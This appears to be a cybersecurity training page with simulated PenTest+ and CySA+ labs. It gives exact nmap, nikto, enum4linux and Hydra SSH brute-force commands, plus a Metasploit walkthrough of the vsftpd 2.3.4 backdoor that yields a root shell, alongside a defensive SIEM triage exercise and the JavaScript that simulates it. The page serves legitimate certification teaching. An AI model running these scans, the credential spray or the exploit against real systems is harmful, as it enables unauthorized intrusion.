Cybersecurity Labs - Module 5

Hands-on PenTest+ (2 labs) and CySA+ (1 lab) scenarios with real terminals, interactive GUIs, dashboards, and exact validation.

These Labs Cover All Cybersecurity Certifications

CompTIA Security+ CompTIA CySA+ CompTIA PenTest+ CompTIA SecurityX ISC2 CISSP ISC2 SSCP ISC2 CCSP ISC2 CGRC
ISC2 CSSLP ISC2 ISSAP ISC2 ISSEP ISC2 ISSMP ISACA CISA ISACA CISM ISACA CRISC ISACA CDPSE

PenTest+ and CySA+ Labs

Detailed step-by-step instructions with tips, dynamic dashboards, exact validation, and safe reset.

Lab 13: Recon & Enumeration
PenTest+
Terminal
Scenario: Discovery and Enumeration of Target Network
You have authorization to assess TechCorp's lab subnet. Perform host discovery, service/version detection, web scanning, and enumerate shares. Use ONLY the exact commands as shown.

Learning Objectives:

  • Conduct stealth SYN scans and version detection
  • Identify vulnerable services with NSE
  • Enumerate SMB shares and weak credentials
Security+ / SSCP

Step-by-Step Instructions

  1. Step 1: Network Sweep (stealth SYN scan + version detection)

    Run a stealth SYN scan (-sS) with service version detection (-sV) and OS fingerprinting (-O) against the target /24 subnet. SYN scans are quieter than full TCP connect scans.

    Type exactly:

    nmap -sS -sV -O 10.10.14.0/24
    ?? Tip: -sS = SYN stealth scan, -sV = version detection, -O = OS detection. Order and spacing matter!
  2. Step 2: Web Server Vulnerability Scan

    Run NSE vulnerability scripts against web ports 80/443. These scripts check for Heartbleed, ShellShock, and other CVEs.

    Type exactly:

    nmap --script vuln -p 80,443 10.10.14.22
    ?? Tip: Run web vuln scans after discovering open HTTP/HTTPS ports from your initial scan.
  3. Step 3: Web Application Probe with Nikto

    Use Nikto to scan for dangerous files, outdated software, and misconfigurations. Nikto checks 6700+ potentially dangerous files/programs.

    Type exactly:

    nikto -h http://10.10.14.22
    ?? Tip: Focus on findings revealing admin panels, backup files, or sensitive directories.
  4. Step 4: SMB Share Enumeration

    Use enum4linux to enumerate SMB shares, users, groups, and password policies. Misconfigured shares may allow anonymous access (null sessions).

    Type exactly:

    enum4linux -a 10.10.14.10
    ?? Tip: The -a flag runs all enumeration options. Look for shares marked READABLE.
  5. Step 5: SSH Credential Spray Attack

    Use Hydra to attempt SSH login with username "admin" against a password wordlist. Weak credentials are a top attack vector.

    Type exactly:

    hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.14.22 ssh
    ?? Warning: Credential spraying MUST be pre-approved. Use rate limiting in real ops.
PenTest+ Lab Terminal Type commands EXACTLY as shown. Order matters.
pentest@lab:~$
Progress: 0/5
Score: 0/100
Lab 14: Exploitation & Post-Exploitation
PenTest+
Console
Scenario: Exploit a Known Service & Validate Access
Use the exploitation console to identify and exploit a vulnerable service, establish a session, and gather basic host info. Commands must match EXACTLY and IN ORDER.

Learning Objectives:

  • Select and configure an appropriate exploit
  • Execute and manage a session
  • Perform basic post-exploitation checks
Security+ / SSCP

Step-by-Step Instructions

  1. Step 1: Launch Metasploit Framework Console

    Start the Metasploit Framework console. Commands are case-sensitive.

    Type exactly:

    msfconsole
    ?? Tip: The console displays a banner and msf6 > prompt when ready.
  2. Step 2: Search for the vsftpd Backdoor Exploit

    Search for the vsftpd 2.3.4 backdoor exploit module (CVE-2011-2523). This backdoor opens a shell on port 6200.

    Type exactly:

    search type:exploit name:vsftpd_234_backdoor
    ?? Tip: Search syntax: type:exploit|auxiliary|post, name:keyword, platform:windows|linux.
  3. Step 3: Select the Exploit Module

    Load the vsftpd backdoor exploit module. The prompt will change to show the active module.

    Type exactly:

    use exploit/unix/ftp/vsftpd_234_backdoor
    ?? Tip: Module paths follow: type/platform/service/name format.
  4. Step 4: Configure the Target Host

    Set the RHOSTS option to specify the target IP address.

    Type exactly:

    set RHOSTS 10.10.14.22
    ?? Tip: RHOSTS = target, LHOST = your machine (for reverse shells).
  5. Step 5: Execute the Exploit

    Launch the exploit against the target. Watch for "Session opened" message.

    Type exactly:

    run
    ?? Tip: 'run' and 'exploit' are equivalent commands.
  6. Step 6: Interact with the Established Session

    Connect to the shell session opened by the exploit. Sessions run in the background until you interact.

    Type exactly:

    sessions -i 1
    ?? Tip: -i = interact, 1 = session ID. Use 'sessions -l' to list all sessions.
  7. Step 7: Verify Gained Access Level

    Check the current user identity. Root means full access; otherwise privilege escalation is needed.

    Type exactly:

    getuid
    ?? Tip: Other commands: sysinfo, ifconfig, hashdump (with privileges).
Exploitation Console
Welcome to Exploitation Console Type commands EXACTLY as shown. Order matters.
root@kali:~#
Progress: 0/7
Score: 0/100
Lab 15: SIEM Triage & Incident Handling
CySA+
GUI
Scenario: Investigate Brute-Force and Contain Host
Your SIEM shows multiple failed logins and suspicious PowerShell use. Investigate alerts, tag disposition, contain a host, create a ticket, and add a detection rule.

Learning Objectives:

  • Triage SIEM alerts and determine disposition
  • Contain affected endpoints and open tickets
  • Add a basic correlation/detection rule
Security+ / SSCP

GUI Step-by-Step Instructions

  1. Step 1: Review Raw Authentication Logs

    Before investigating alerts, review the raw authentication logs to understand the attack pattern.

    Action: In the Alerts card, click View Logs on the High severity alert. Review the log entries showing failed login attempts.

    ?? Tip: Look for patterns: same source IP, rapid attempts, account enumeration.
  2. Step 2: Filter Logs by Source IP

    Identify the attacker's IP and filter logs to see all activity from that source.

    Action: In the Log Viewer modal, enter the suspicious IP (203.0.113.45) in the filter box and click Apply Filter.

    ?? Tip: Filtering helps correlate multiple events from the same attacker.
  3. Step 3: Analyze PowerShell Event Logs

    The Medium alert shows encoded PowerShell execution. Review the PowerShell event logs to decode the command.

    Action: Click View Logs on the Encoded PowerShell alert, then click Decode Base64 to reveal the actual command.

    ?? Tip: Encoded PowerShell is a common post-exploitation technique. The decoded command reveals C2 communication.
  4. Step 4: Correlate Timeline

    Build a timeline of events: failed logins (15:23) followed by PowerShell execution (15:27). This confirms successful compromise.

    Action: Click Investigate on the High alert, then click Tag TP to mark as True Positive.

    ?? Tip: 4-minute gap between brute-force and payload execution is typical.
  5. Step 5: Check Network Connections

    Review active network connections from WORKSTATION-07 to identify C2 traffic.

    Action: Click Check Network in the Investigation modal. Note the suspicious outbound connection to 198.51.100.12:4444.

    ?? Tip: Port 4444 is commonly used for Metasploit reverse shells.
  6. Step 6: Contain the Compromised Host

    Isolate WORKSTATION-07 to prevent lateral movement and data exfiltration.

    Action: Click Contain Host, confirm containment reason (C2 communication detected), then click Confirm Isolation.

    ?? Warning: Document containment justification in the popup before confirming.
  7. Step 7: Create Incident Ticket with IOCs

    Document the full incident with all indicators of compromise (IOCs).

    Action: Click Create Ticket. Include: attacker IP (203.0.113.45), C2 server (198.51.100.12:4444), compromised account (admin), and decoded PowerShell command. Select Priority: High, Assign to SOC Tier 2.

    ?? Tip: Good tickets include: timeline, affected assets, IOCs, containment actions, and recommended remediation.
  8. Step 8: Add Correlation Rule

    Create a detection rule that correlates failed logins with subsequent PowerShell execution from the same host.

    Action: Click Add Rule. Rule Name: "Brute-force followed by encoded PowerShell". Query: Match failed logins (>50) AND PowerShell within 10 minutes on same host. Severity: High, Notification: PagerDuty.

    ?? Tip: Correlation rules catch multi-stage attacks that single-event rules miss.
SIEM Console

Alerts

SeverityAlertHostTimeActions
High Multiple Failed Logins WORKSTATION-07 15:23
Medium Encoded PowerShell WORKSTATION-07 15:27

Recent Activity

TimestampActionDetailsStatus
No activity yet

Containment

Ticketing

Detection

Progress: 0/5
Score: 0/100
// // ======= State ======= const state = { pt1: { total: 5, completed: [], index: 0 }, pt2: { total: 7, completed: [], index: 0 }, cysa: { total: 8, completed: [], index: 0, activity: [], logsViewed: false, filtered: false, decoded: false, networkChecked: false } }; // ======= Utility ======= function ts() { return new Date().toLocaleString('en-US', { month: 'short', day: '2-digit', hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false }); } function escapeHtml(text){ const div=document.createElement('div'); div.textContent=text; return div.innerHTML; } function openModal(id){ document.getElementById('modal-overlay').classList.add('active'); document.getElementById(id).classList.add('active'); } function closeModal(){ document.querySelectorAll('.modal').forEach(m=>m.classList.remove('active')); document.getElementById('modal-overlay').classList.remove('active'); } function showNotify(type,title,message){ // Close any open modals first to ensure notify shows on top document.querySelectorAll('.modal.active').forEach(m => { if(m.id !== 'notify-modal') m.style.zIndex = '2000'; }); const header=document.getElementById('notify-header'); const icon=document.getElementById('notify-icon'); const btn=document.getElementById('notify-btn'); document.getElementById('notify-title').innerHTML = ` ${title}`; document.getElementById('notify-message').textContent = message; if(type==='error'){ header.style.background='linear-gradient(135deg,#ef4444,#dc2626)'; icon.innerHTML=''; btn.style.background='#ef4444'; } else if(type==='success'){ header.style.background='linear-gradient(135deg,#10b981,#059669)'; icon.innerHTML=''; btn.style.background='#10b981'; } else { header.style.background='linear-gradient(135deg,#3b82f6,#2563eb)'; icon.innerHTML=''; btn.style.background='#3b82f6'; } header.querySelector('h3').style.color='#fff'; header.querySelector('.close-btn').style.color='#fff'; document.getElementById('notify-modal').style.zIndex = '3000'; openModal('notify-modal'); } function confirmResetLab(lab){ document.getElementById('confirm-reset-btn').onclick=function(){ resetLab(lab); closeModal(); }; openModal('reset-modal'); } function updateProgress(id){ const st = state[id]; const completed = st.completed.length; const percent = Math.round((completed / st.total) * 100); document.getElementById(`${id}-progress-text`).textContent = `${completed}/${st.total}`; document.getElementById(`${id}-progress-bar`).style.width = `${percent}%`; document.getElementById(`${id}-score`).textContent = `Score: ${percent}/100`; for(let i=1;i<=st.total;i++){ const li=document.getElementById(`${id}-step${i}`)||document.getElementById(`${id.replace('pt','pt')}-step${i}`); if(!li) continue; if(st.completed.includes(i)) li.classList.add('completed'); else li.classList.remove('completed'); } } function markDone(id, step){ const st=state[id]; if(!st.completed.includes(step)){ st.completed.push(step); updateProgress(id); } } function showHint(lab){ const data={ pt1:{title:'Recon & Enumeration Hints', hints:[ {icon:'fa-search', text:'Use the exact nmap flags and spacing.'}, {icon:'fa-list', text:'Run web vuln scripts only on 80,443 as shown.'}, {icon:'fa-network-wired', text:'SMB enumeration may reveal readable shares.'} ]}, pt2:{title:'Exploitation Console Hints', hints:[ {icon:'fa-bolt', text:'Search query must include type:exploit and exact module name.'}, {icon:'fa-cog', text:'Set RHOSTS before run.'}, {icon:'fa-terminal', text:'Interact with session 1 and verify identity.'} ]}, cysa:{title:'SIEM Triage Hints', hints:[ {icon:'fa-bell', text:'Investigate High alerts first.'}, {icon:'fa-user-shield', text:'Containment should be confirmed in popup.'}, {icon:'fa-ruler-combined', text:'Add a rule after triage to prevent recurrence.'} ]} }; const d=data[lab]; document.getElementById('hint-modal-title').textContent=d.title; document.getElementById('hint-modal-content').innerHTML = d.hints.map(h=>`
${h.text}
`).join(''); openModal('hint-modal'); } // ======= PT1 Terminal (Exact order + exact match) ======= const pt1Commands = [ { cmd:'nmap -sS -sV -O 10.10.14.0/24', out:`Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 14:32 EST Initiating ARP Ping Scan at 14:32 Scanning 256 hosts [1 port/host] Completed ARP Ping Scan at 14:32, 2.18s elapsed (256 total hosts) Initiating Parallel DNS resolution of 3 hosts. at 14:32 Completed Parallel DNS resolution at 14:32, 0.02s elapsed Initiating SYN Stealth Scan at 14:32 Scanning 3 hosts [1000 ports/host] Discovered open port 22/tcp on 10.10.14.10 Discovered open port 80/tcp on 10.10.14.22 Discovered open port 443/tcp on 10.10.14.22 Discovered open port 21/tcp on 10.10.14.22 Discovered open port 445/tcp on 10.10.14.10 Discovered open port 139/tcp on 10.10.14.10 Completed SYN Stealth Scan at 14:33, 26.42s elapsed (3000 total ports) Initiating Service scan at 14:33 Scanning 6 open ports on 3 hosts Completed Service scan at 14:33, 11.21s elapsed (6 services on 3 hosts) Initiating OS detection (try #1) against 3 hosts Nmap scan report for 10.10.14.10 Host is up (0.00045s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 OS details: Linux 5.4 - 5.10 Nmap scan report for 10.10.14.22 Host is up (0.00031s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 80/tcp open http Apache httpd 2.4.49 ((Unix)) 443/tcp open ssl/http Apache httpd 2.4.49 ((Unix)) OS details: Linux 4.15 - 5.8 OS and Service detection performed. Nmap done: 256 IP addresses (3 hosts up) scanned in 42.83 seconds` }, { cmd:'nmap --script vuln -p 80,443 10.10.14.22', out:`Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 14:35 EST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: |_ Scanning for more hosts... Nmap scan report for 10.10.14.22 Host is up (0.00028s latency). PORT STATE SERVICE 80/tcp open http | http-vuln-cve2021-41773: | VULNERABLE: | Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 | State: VULNERABLE | IDs: CVE:CVE-2021-41773 | A path traversal vulnerability in Apache 2.4.49 allows remote | attackers to read arbitrary files and potentially execute code. | Disclosure date: 2021-10-05 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 | https://httpd.apache.org/security/vulnerabilities_24.html |_ https://nvd.nist.gov/vuln/detail/CVE-2021-41773 | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE |_ Slow HTTP attacks are possible on this server. 443/tcp open https | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | Risk factor: Medium |_ References: https://www.imperialviolet.org/2014/10/14/poodle.html | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0m, 1.0.1h is vulnerable. | References: |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 Nmap done: 1 IP address (1 host up) scanned in 68.42 seconds` }, { cmd:'nikto -h http://10.10.14.22', out:`- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.14.22 + Target Hostname: 10.10.14.22 + Target Port: 80 + Start Time: 2024-01-15 14:38:22 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.49 (Unix) + /: The anti-clickjacking X-Frame-Options header is not present. + /: The X-Content-Type-Options header is not set. + Apache/2.4.49 appears to be outdated (current is 2.4.58). + /: HTTP TRACE method is active which suggests the host is vulnerable to XST + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-telerik-telerikcon-folder/ + /admin/: This might be interesting: potential admin directory. + /admin/index.php: Admin login page/section found. + /backup/: Directory indexing found. + /backup/db_backup.sql: Database backup found. This may contain sensitive data! + /config.php.bak: PHP backup config file found. May contain credentials. + /server-status: Apache server-status enabled. + /#wp-config.php#: #wp-config.php# file found. May contain credentials. + 8102 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2024-01-15 14:42:18 (GMT-5) (236 seconds) --------------------------------------------------------------------------- + 1 host(s) tested` }, { cmd:'enum4linux -a 10.10.14.10', out:`Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) ========================== | Target Information | ========================== Target ........... 10.10.14.10 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ==================================== | Session Check on 10.10.14.10 | ==================================== [+] Server 10.10.14.10 allows sessions using username '', password '' ============================================ | Getting domain SID for 10.10.14.10 | ============================================ Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or workgroup ===================================== | OS information on 10.10.14.10 | ===================================== [+] Got OS info for 10.10.14.10 from smbclient: OS=[Unix] Server=[Samba 4.6.2] ============================= | Users on 10.10.14.10 | ============================= index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: admin Name: Admin User index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: backup Name: Backup User index: 0x3 RID: 0x3ea acb: 0x00000010 Account: svc_smb Name: SMB Service ========================================= | Share Enumeration on 10.10.14.10 | ========================================= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers share$ Disk Public Share admin$ Disk Admin Share IPC$ IPC IPC Service [+] Attempting to map shares on 10.10.14.10 //10.10.14.10/print$ Mapping: DENIED, Listing: N/A //10.10.14.10/share$ Mapping: OK, Listing: OK //10.10.14.10/admin$ Mapping: DENIED, Listing: N/A [+] Enumerating password policy on 10.10.14.10 [+] Password Info for Domain: WORKGROUP [+] Minimum password length: 5 [+] Password history length: None [+] Maximum password age: 37 days 6 hours [+] Password Complexity Flags: 000000 [+] Domain Refuse Password Change: 0 [+] Domain Password Store Cleartext: 0 [+] Domain Password Lockout Admins: 0 [+] Domain Password No Clear Change: 0 [+] Domain Password No Anon Change: 0 enum4linux complete on Mon Jan 15 14:45:32 2024` }, { cmd:'hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.14.22 ssh', out:`Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-15 14:47:12 [WARNING] Many SSH configurations limit the number of parallel tasks. [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399) [DATA] attacking ssh://10.10.14.22:22/ [STATUS] 112.00 tries/min, 112 tries in 00:01h, 14344287 to do in 2134:34h [STATUS] 108.67 tries/min, 326 tries in 00:03h, 14344073 to do in 2199:53h [22][ssh] host: 10.10.14.22 login: admin password: P@ssw0rd123! 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-15 14:51:38` } ]; function executePT1(){ const input=document.getElementById('pt1-terminal-input'); const output=document.getElementById('pt1-terminal-output'); const cmd=input.value; if(!cmd) return; output.innerHTML += `
pentest@lab:~$ ${escapeHtml(cmd)}
`; const st=state.pt1; // Find matching command (any order allowed) let found = false; for(let i=0; i${escapeHtml(pt1Commands[i].out)}`; markDone('pt1', i+1); found = true; break; } } if(!found){ // Check if already completed let alreadyDone = false; for(let i=0; i${escapeHtml(pt1Commands[i].out)}`; alreadyDone = true; break; } } if(!alreadyDone){ output.innerHTML += `
command not found or incorrect. Commands must match EXACTLY (case-sensitive).
`; } } input.value=''; output.scrollTop=output.scrollHeight; } function validatePT1(){ const st=state.pt1; const scoring=document.getElementById('pt1-scoring'); const tasks=['Stealth scan with versions','Web vuln scan','Web probe','SMB enumeration','Credential spray']; const completedIdx=st.completed.map(i=>i-1); const rem = tasks.filter((_,i)=>!completedIdx.includes(i)); let html = '
'; if(completedIdx.length>0){ html += ''; } if(rem.length>0){ html += ''; } if(rem.length===0){ html += ''; } html += '
'; scoring.innerHTML=html; } // ======= PT2 Terminal (Exact order + exact match) ======= const pt2Commands = [ { cmd:'msfconsole', out:` , , / \\ ((__---,,,---__)) (_) O O (_)_________ \\ _ / |\\ o_o \\ M S F | \\ \\ _____ | * ||| WW||| ||| ||| =[ metasploit v6.3.44-dev ] + -- --=[ 2376 exploits - 1232 auxiliary - 416 post ] + -- --=[ 1388 payloads - 46 encoders - 11 nops ] + -- --=[ 9 evasion ] Metasploit tip: Use sessions -1 to interact with the last opened session Metasploit Documentation: https://docs.metasploit.com/ msf6 >` }, { cmd:'search type:exploit name:vsftpd_234_backdoor', out:` Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor msf6 >` }, { cmd:'use exploit/unix/ftp/vsftpd_234_backdoor', out:`[*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) >` }, { cmd:'set RHOSTS 10.10.14.22', out:`RHOSTS => 10.10.14.22 msf6 exploit(unix/ftp/vsftpd_234_backdoor) >` }, { cmd:'run', out:`[*] 10.10.14.22:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.10.14.22:21 - USER: 331 Please specify the password. [+] 10.10.14.22:21 - Backdoor service has been spawned, handling... [+] 10.10.14.22:21 - UID: uid=0(root) gid=0(root) groups=0(root) [*] Found shell. [*] Command shell session 1 opened (10.10.14.5:41879 -> 10.10.14.22:6200) at 2024-01-15 15:02:18 -0500 shell >` }, { cmd:'sessions -i 1', out:`[*] Starting interaction with 1... shell >` }, { cmd:'getuid', out:`uid=0(root) gid=0(root) groups=0(root) shell >` } ]; function executePT2(){ const input=document.getElementById('pt2-terminal-input'); const output=document.getElementById('pt2-terminal-output'); const cmd=input.value; if(!cmd) return; const st=state.pt2; // Dynamic prompt based on state let promptText = 'root@kali:~#'; if(st.index >= 1 && st.index < 3) promptText = 'msf6 >'; else if(st.index >= 3) promptText = 'msf6 exploit(unix/ftp/vsftpd_234_backdoor) >'; if(st.index >= 6) promptText = 'meterpreter >'; output.innerHTML += `
${promptText} ${escapeHtml(cmd)}
`; const expected = pt2Commands[st.index]?.cmd; if(cmd === expected){ output.innerHTML += `
${escapeHtml(pt2Commands[st.index].out)}
`; st.index++; markDone('pt2', st.index); // Update input placeholder prompt for next command updatePT2Prompt(); } else { output.innerHTML += `
unknown command or wrong order. Exact, case-sensitive match required.
`; } input.value=''; output.scrollTop=output.scrollHeight; } function updatePT2Prompt(){ const st=state.pt2; const promptSpan = document.querySelector('#pt2-terminal > div:last-child > .prompt'); if(st.index === 0) promptSpan.textContent = 'root@kali:~#'; else if(st.index >= 1 && st.index < 3) promptSpan.textContent = 'msf6 >'; else if(st.index >= 3 && st.index < 6) promptSpan.textContent = 'msf6 exploit(...) >'; else if(st.index >= 6) promptSpan.textContent = 'meterpreter >'; } function validatePT2(){ const st=state.pt2; const scoring=document.getElementById('pt2-scoring'); const tasks=['Open console','Search exploit','Select module','Set target','Run exploit','Interact session','Verify identity']; const completedIdx=st.completed.map(i=>i-1); const rem = tasks.filter((_,i)=>!completedIdx.includes(i)); let html = '
'; if(completedIdx.length>0){ html += ''; } if(rem.length>0){ html += ''; } if(rem.length===0){ html += ''; } html += '
'; scoring.innerHTML=html; } // ======= CySA+ GUI ======= function cysaLog(action, details, status){ const tbody=document.getElementById('cysa-activity'); if(tbody.children.length===1 && tbody.children[0].children[0].getAttribute('colspan')) tbody.innerHTML=''; const tr=document.createElement('tr'); tr.innerHTML = `${ts()}${escapeHtml(action)}${escapeHtml(details)}${status}`; tbody.prepend(tr); } function markCYSA(step){ const st=state.cysa; if(!st.completed.includes(step)){ st.completed.push(step); updateProgress('cysa'); } } function cysaInvestigate(alert, host){ // Route based on alert type // First button (Multiple Failed Logins) - shows auth logs + filter if(alert === 'Multiple Failed Logins'){ const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); // Mark step 1 only when modal is opened (viewing logs) if(!state.cysa.logsViewed){ state.cysa.logsViewed = true; markCYSA(1); } return; } // Second button (Encoded PowerShell) - shows PowerShell logs + decode if(alert === 'Encoded PowerShell'){ // Must filter first if(!state.cysa.filtered){ showNotify('error','Complete Previous Step','Filter the authentication logs by attacker IP first.'); return; } // Show PowerShell decode modal if(!state.cysa.decoded){ const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); return; } // After decoding, show network analysis modal if(state.cysa.decoded && !state.cysa.networkChecked){ const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); return; } // All investigation done for this alert if(state.cysa.networkChecked){ showNotify('info','Investigation Complete','Proceed to containment and ticketing steps.'); } return; } } function cysaApplyFilter(btn){ // Get input from the same modal as the button (not by ID which might find old modals) const modal = btn.closest('.modal'); const inputEl = modal.querySelector('input[placeholder="Enter attacker IP address"]'); if(!inputEl){ showNotify('error','Error','Input not found.'); return; } // Remove ALL whitespace, hidden chars, and normalize const rawVal = inputEl.value; const filterVal = rawVal.replace(/[\s\u00A0\u200B\u200C\u200D\uFEFF]/g, '').trim(); if(!filterVal){ showNotify('error','Validation Error','Please enter an IP address to filter.'); return; } // Strict validation - must be exact attacker IP if(filterVal !== '203.0.113.45'){ showNotify('error','Incorrect IP','Review the logs carefully and enter the exact attacker IP address shown in the failed login attempts.'); return; } state.cysa.filtered = true; markCYSA(2); cysaLog('Filter Logs', `Filtered by IP: ${filterVal}`, 'Success'); btn.textContent = 'Filter Applied'; btn.disabled = true; // Close this modal modal.remove(); document.getElementById('modal-overlay').classList.remove('active'); showNotify('success','Filter Applied',`Logs filtered for IP: ${filterVal}. 79 events found. Now investigate the Encoded PowerShell alert.`); } function cysaCheckNetwork(btn){ document.getElementById('network-results').style.display='block'; state.cysa.networkChecked = true; markCYSA(5); cysaLog('Network Check', 'Active connections analyzed', 'Success'); btn.disabled = true; btn.innerHTML = ' Network Check Complete'; } function cysaContainHost(){ // Must complete investigation first if(!state.cysa.networkChecked){ showNotify('error','Investigation Required','Complete log review and network analysis before containment.'); return; } const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); } function cysaOpenTicket(){ if(!state.cysa.completed.includes(6)){ showNotify('error','Containment Required','Complete host containment before creating ticket.'); return; } const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); } function submitTicket(btn){ const title = document.getElementById('ticket-title').value.trim(); const priority = document.getElementById('ticket-priority').value; const desc = document.getElementById('ticket-desc').value.trim(); const assign = document.getElementById('ticket-assign').value.trim(); const labels = document.getElementById('ticket-labels').value.trim(); const iocs = document.getElementById('ticket-iocs')?.value.trim() || ''; if(!title || !priority || !desc || !assign || !labels || (document.getElementById('ticket-iocs') && !iocs)){ showNotify('error','Validation Error','All fields are required including IOCs. Please fill in every field.'); return; } cysaLog('Create Ticket', title + ' [IOCs: ' + iocs.substring(0,50) + '...]', 'Success'); markCYSA(7); document.querySelector('#modal-overlay').classList.remove('active'); btn.closest('div.modal').remove(); showNotify('success','Ticket Created', 'Incident ticket #INC-2024-0142 created with full IOC documentation.'); } function cysaAddRule(){ if(!state.cysa.completed.includes(7)){ showNotify('error','Ticket Required','Create incident ticket before adding detection rules.'); return; } const modal=document.createElement('div'); modal.className='modal active'; modal.innerHTML = ``; document.body.appendChild(modal); document.getElementById('modal-overlay').classList.add('active'); } function submitRule(btn){ const name = document.getElementById('rule-name').value.trim(); const query = document.getElementById('rule-query').value.trim(); const sev = document.getElementById('rule-sev').value; const notify = document.getElementById('rule-notify').value; const timewindow = document.getElementById('rule-timewindow')?.value || ''; if(!name || !query || !sev || !notify || (document.getElementById('rule-timewindow') && !timewindow)){ showNotify('error','Validation Error','All fields including time window are required.'); return; } cysaLog('Add Correlation Rule', name + ' [Window: ' + timewindow + ']', 'Success'); markCYSA(8); document.querySelector('#modal-overlay').classList.remove('active'); btn.closest('div.modal').remove(); showNotify('success','Correlation Rule Added', 'Rule "'+name+'" will trigger when brute-force and PowerShell events correlate within ' + timewindow + '.'); } function validateCYSA(){ const st=state.cysa; const scoring=document.getElementById('cysa-scoring'); const tasks=['Review authentication logs','Filter logs by source IP','Analyze PowerShell logs','Correlate timeline & tag TP','Check network connections','Contain compromised host','Create incident ticket with IOCs','Add correlation detection rule']; const completedIdx=st.completed.map(i=>i-1); const rem = tasks.filter((_,i)=>!completedIdx.includes(i)); let html = '
'; if(completedIdx.length>0){ html += ''; } if(rem.length>0){ html += ''; } if(rem.length===0){ html += ''; } html += '
'; scoring.innerHTML=html; } // ======= Reset ======= function resetLab(id){ if(id==='pt1'){ state.pt1={ total:5, completed:[], index:0 }; document.getElementById('pt1-terminal-output').innerHTML='
PenTest+ Lab Terminal\nType commands EXACTLY as shown. Order matters.
'; document.getElementById('pt1-scoring').innerHTML=''; updateProgress('pt1'); } if(id==='pt2'){ state.pt2={ total:7, completed:[], index:0 }; document.getElementById('pt2-terminal-output').innerHTML='
Welcome to Exploitation Console\nType commands EXACTLY as shown. Order matters.
'; document.getElementById('pt2-scoring').innerHTML=''; updateProgress('pt2'); document.querySelector('#pt2-terminal > div:last-child > .prompt').textContent='root@kali:~#'; } if(id==='cysa'){ state.cysa={ total:8, completed:[], index:0, activity:[], logsViewed:false, filtered:false, decoded:false, networkChecked:false }; document.getElementById('cysa-activity').innerHTML='No activity yet'; document.getElementById('cysa-scoring').innerHTML=''; updateProgress('cysa'); } } // ======= Account Link ======= function goToAccount(){ var token=localStorage.getItem('authToken'); if(token){ window.location.href='/dashboard.html'; } else { window.location.href='/login.html'; } } // Init progress bars updateProgress('pt1'); updateProgress('pt2'); updateProgress('cysa');